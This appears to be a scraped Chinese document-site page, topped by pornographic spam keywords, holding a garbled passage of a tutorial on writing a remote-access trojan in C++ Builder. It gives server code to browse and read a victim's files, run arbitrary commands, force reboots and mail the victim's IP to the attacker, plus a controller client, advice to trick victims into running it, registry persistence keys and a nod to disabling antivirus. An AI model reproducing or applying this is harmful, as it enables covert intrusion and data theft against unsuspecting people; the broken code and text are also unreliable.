freepeople性欧美熟妇, 色戒完整版无删减158分钟hd, 无码精品国产vα在线观看DVD, 丰满少妇伦精品无码专区在线观看,艾栗栗与纹身男宾馆3p50分钟,国产AV片在线观看,黑人与美女高潮,18岁女RAPPERDISSSUBS,国产手机在机看影片

正文內(nèi)容

木馬編寫培訓(xùn)教程-在線瀏覽

2024-08-04 03:44本頁面
  

【正文】   //跳至END處    }    }   fwrite(content,sizeof(char),strlen(content),fp)。   //寫完后關(guān)閉目標(biāo)文件   SocketSendText(Sucess)。呵呵,這只不過是牛刀小試罷了。  char * CR_LF=\\n。  char *filename。  struct dirent *ent?! ?/得到字符串的長度  AnsiString Dir_Name=(5,number3)。s Name)。s Name”信息    goto END。  dirname=()。s name!)。s Name”信息    goto END?! hile(fp==NULL)   {    //如果指針是NULL    fp=fopen(TempFile,w+)?!   ?/計(jì)數(shù)器加1    if(times_of_try100)      {      //如果已經(jīng)試了100次了,仍未成功(真有耐心?。     ocketSendText(Fail By Open File)。      //并跳到END處      }    }   while ((ent = readdir(dir)) != NULL)    {     //如果訪問目標(biāo)目錄成功     if(*(AnsiString(dirname)).AnsiLastChar()!=\39。)     //如果最后一個字符不是“\\”,證明不是根目錄     filename=(AnsiString(dirname)+\\\\+entd_name).c_str()?!    ?/如果是根目錄,則不用加“\\”     attrib=_rtl_chmod(filename, 0)。 FA_RDONLY)     //“amp?!    ?/將目標(biāo)文件屬性設(shè)為只讀     else     fwrite( ,sizeof(char),3,fp)。 FA_HIDDEN)     fwrite(H,sizeof(char),1,fp)?!    ?/失敗則寫入空格     if (attrib amp。     //將目標(biāo)文件屬性設(shè)為系統(tǒng)     else     fwrite( ,sizeof(char),1,fp)。 FA_ARCH)     fwrite(A,sizeof(char),1,fp)。     //失敗則寫入空格     if (attrib amp。     //將目標(biāo)文件屬性設(shè)為目錄     else     fwrite(     ,sizeof(char),9,fp)?!   ?//將目錄名寫入目標(biāo)文件     fwrite(CR_LF,1,1,fp)。    //關(guān)閉文件    closedir(dir)?!  ?times_of_try=0?!    ?/     times_of_try=times_of_try+1?!     ?//就發(fā)回“Fail By Open File”的錯誤信息       goto END?!  ?char temp_content[300]。i300。\\0\39?!  ?//從目標(biāo)文件中讀入前300個字符    while(Read_Num==300)    {     Return_Text=Return_Text+temp_content。i300。\\0\39?!   ?//重復(fù)    }?!  ?//Return_Text變量加上剛才的300個字符    fclose(fp1)?!  ?//返回Return_Text變量的內(nèi)容  }}夠長吧?!察看目錄樹這么費(fèi)勁啊?!?! nt number=()。  //將目標(biāo)文件流存入File_Name變量中  times_of_try=0。    //打開目標(biāo)文件準(zhǔn)備讀    times_of_try=times_of_try+1?!     ?/返回“Fail By Open File”的錯誤信息      goto END?! har temp_content[300]。i300。\\0\39。  //從目標(biāo)文件中讀入前300個字符  while(Read_Num==300)   {    Return_Text=Return_Text+temp_content。i300。\\0\39?!   ?/重復(fù)   }?! ?/Return_Text的內(nèi)容加上剛才的字符  fclose(fp)。  //返回Return_Text的內(nèi)容,即你查看文件的內(nèi)容}}  咳咳!累死了!還是來點(diǎn)輕松的吧——操縱目標(biāo)機(jī)的光驅(qū)(注意:mciSendString()):{else if(temp==open){  //如果收到的temp的內(nèi)容是“open”  mciSendString(set cdaudio door open, NULL, 0, NULL)。  //就收入光驅(qū)的托盤?! ?/交換鼠標(biāo)左右鍵,簡單吧?}}  然后就是使目標(biāo)機(jī)重新啟動?! ?/得到操作系統(tǒng)的版本號  if (dwVersion 0x80000000)  {    //操作系統(tǒng)是WinNt,不是Win9x   HANDLE hToken。   //定義變量   OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, amp。   //OpenProcessToken()這個函數(shù)的作用是打開一個進(jìn)程的訪問令牌   //GetCurrentProcess()函數(shù)的作用是得到本進(jìn)程的句柄   LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,amp?!  ?/LookupPrivilegeValue()的作用是修改進(jìn)程的權(quán)限    = 1。    AdjustTokenPrivileges(hToken, FALSE, amp。   //AdjustTokenPrivileges()的作用是通知Windows NT修改本進(jìn)程的權(quán)利   ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)?!  ?/強(qiáng)行退出Win9x并重啟}}如果以上都不是,就讓它在Dos窗口中執(zhí)行傳來的命令:{else{  //如果都不是  char * CR_TF=\\n?! hile(fp==NULL)  {   fp=fopen(TempFile,w+)。    //計(jì)數(shù)器加1   if(times_of_try100)   {    SocketSendText(Fail By Open File)?!   ?/跳到END   }  }  fwrite((),sizeof(char),strlen(()),fp)?! ?/寫入換行符  fclose(fp)?! ?/  SocketSendText(Success)?!   〉酱?,服務(wù)器程序的功能已全部完成,但還差容錯部分未完成,這樣才能避免程序因意外而崩潰。 Socket〉Close()。 //再次打開服務(wù) if (NMSMTP1〉Connected) NMSMTP1〉Disconnect()?!?/選一個好用的SMTP服務(wù)器,如1626sina和btamail NMSMTP1〉UserID = ?! ?/再次連接 } catch(...) {  goto NextTime。t know!?!?/受害者的名字 NMSMTP1〉PostMessage〉ToAddress〉Text = crossbow?!?/信的內(nèi)容提示你“服務(wù)器正在運(yùn)行”,并且告訴你受害者的目前的IP地址,以便連接 NMSMTP1〉PostMessage〉Subject = Server Running Now!?!?/發(fā)送! return。 //你的FTP服務(wù)器的地址 NMFTP1〉UserID = ?!?/FTP端口號,一般為21 NMFTP1〉Password = ?!?/如果已連接就斷開 try  {   NMFTP1〉Connect()?!  ?//返回  } AnsiString SendToSite = Server Running on: + NMFTP1〉RemoteIP?!pload = fopen(NMFTP1〉(),w+)?!?/寫入以上的SendToSite的內(nèi)容 fclose(Upload)?!?/刪除public_html目錄 NMFTP1〉Upload(NMFTP1〉RemoteIP, NMFTP1〉RemoteIP)。最后別忘了要在此服務(wù)器源碼文件中添加以下頭文件:include 〈〉include 〈〉include 〈〉include 〈〉include 〈sys\\〉include 〈〉include 〈〉include 〈〉include 〈〉include 〈〉  至此,服務(wù)器端(Server)程序已全部完工?。ńK于可以好好歇歇了?。﹦e慌!以上代碼只是完成了整個木馬程序的一半。另新建一個Form,添加一個ClientSocket(和ServerSocket在相同的頁下),再添加四個Editbox,命名為Edit1,Edit2,Edit3和Edit4,最后添加一個Button,Caption為“發(fā)送”。(頭是不是有點(diǎn)大了?!)  雙擊Button1,在Button1Click事件中添加如下代碼:{  if((Edit2〉Text==)||(Edit3〉Text==))return?! ?/目標(biāo)IP地址  ClientSocket1〉Port=atoi(Edit2〉())?! ?/連接!}選中CilentSocket1控件,雙擊OnConnectt事件,在ClientSocket1Connect下添加如下代碼:{ if((Edit1〉Text==edit conf 1)||(Edit1〉Text==edit conf 2)) //  Socket〉SendText(Edit1〉Text+Edit4〉Text)。  //否則只發(fā)送命令}  雙擊OnRead事件,在ClientSocket1Read下添加如下代碼:{ AnsiString ReadIn = Socket〉ReceiveText()。 //清空編輯框 FILE *fp?!?/ fwrite((),1,10000,fp)?!?/關(guān)閉之 Edit4〉Lines〉LoadFromFile()。雙擊Edit1的OnKeyPress命令,輸入:{ if(Key==VK_RETURN)Button1Click(Sender)?! 〗酉聛砭桶裇erver程序寄給受害者,誘騙他(她)執(zhí)行,在你得到他(她)的IP后(這不用我教吧?),就啟動Client程序,敲入“edit conf 1”,敲入“edit conf 2”,敲入“dir xxx”(xxx是目錄名)就可以看到目錄和文件,敲“type xxx”就可以察看任何文件,輸入“open”,彈出目標(biāo)機(jī)的光驅(qū)托盤,“close”就收入托盤,輸入“swap”就可以交換受害者的鼠標(biāo)左右鍵,輸入“reboot”就啟動目標(biāo)機(jī)……不用我多說了吧?  以上只是一個簡單的例子,真正寫起木馬來要解決的技術(shù)問題比這多得多,這得需要扎實(shí)的編程功底和豐富的經(jīng)驗(yàn)??梢钥闯霾槐匾腇orm是應(yīng)該去掉的;并且盡量由自己調(diào)用底層的API函數(shù),而盡量少使用Borland打好包的VCL控件;要盡量使用匯編語言(BCB支持C++和匯編混編),不但速度會加快,而且大小可以小很多,畢竟木馬是越小越好。、也還是那幾個注冊表鍵值,如:HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunHKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesHKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run都已被其他的木馬用爛了。這里涉及到參數(shù)傳遞的問題。具體鍵值如:  與exe文件建立關(guān)聯(lián):HKEY_CLASSES_ROOT\\exefile\\shell\\open\\mand  與txt文件建立關(guān)聯(lián):HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\mand  與dll文件建立關(guān)聯(lián):HKEY_CLASSES_ROOT\\dllfile\\shell\\open\\mand等,當(dāng)然還可以自己擴(kuò)充。下次開機(jī)時,木馬以動態(tài)鏈接庫形式被加載,存在于系統(tǒng)進(jìn)程中。木馬的功能還可以大大擴(kuò)充。唉!路漫漫其修遠(yuǎn)兮,吾將上下而求索……  如果你想更安全地執(zhí)行你的入侵活動,就應(yīng)該像廣外女生一樣可以殺掉防火墻和殺毒軟件的
點(diǎn)擊復(fù)制文檔內(nèi)容
環(huán)評公示相關(guān)推薦
文庫吧 www.dybbs8.com
備案圖鄂ICP備17016276號-1